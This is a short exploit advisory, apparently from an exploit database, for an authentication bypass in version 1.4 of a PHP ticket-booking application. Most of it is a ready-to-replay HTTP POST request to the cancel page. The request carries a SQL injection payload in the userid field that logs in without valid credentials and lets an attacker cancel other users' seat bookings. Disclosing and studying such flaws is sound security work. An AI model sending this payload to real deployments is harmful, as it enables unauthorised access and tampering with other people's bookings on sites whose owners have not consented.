# Exploit Title: Ticket-Booking 1.4 - Authentication Bypass # Author: Cakes # Discovery Date: 2019-09-14 # Vendor Homepage: https://github.com/ABHIJEET-MUNESHWAR/Ticket-Booking # Software Link: https://github.com/ABHIJEET-MUNESHWAR/Ticket-Booking/archive/master.zip # Tested Version: 1.4 # Tested on OS: CentOS 7 # CVE: N/A # Description: # Easy authentication bypass vulnerability on this ticket booking application # allowing the attacker to remove any previously booked seats # Simply replay the below Burp request or use Curl (remember to change the Cookie Values) POST /ticket/cancel.php HTTP/1.1 Host: Target User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://Target/ticket/login.php Content-Type: application/x-www-form-urlencoded Content-Length: 50 Cookie: PHPSESSID=j9jrgserbga22a9q9u165uirh4; rental_property_manager=mq5iitk8ic80ffa8dcf28294d4 Connection: close Upgrade-Insecure-Requests: 1 DNT: 1 userid='%20or%200%3d0%20#&password=123&save=signin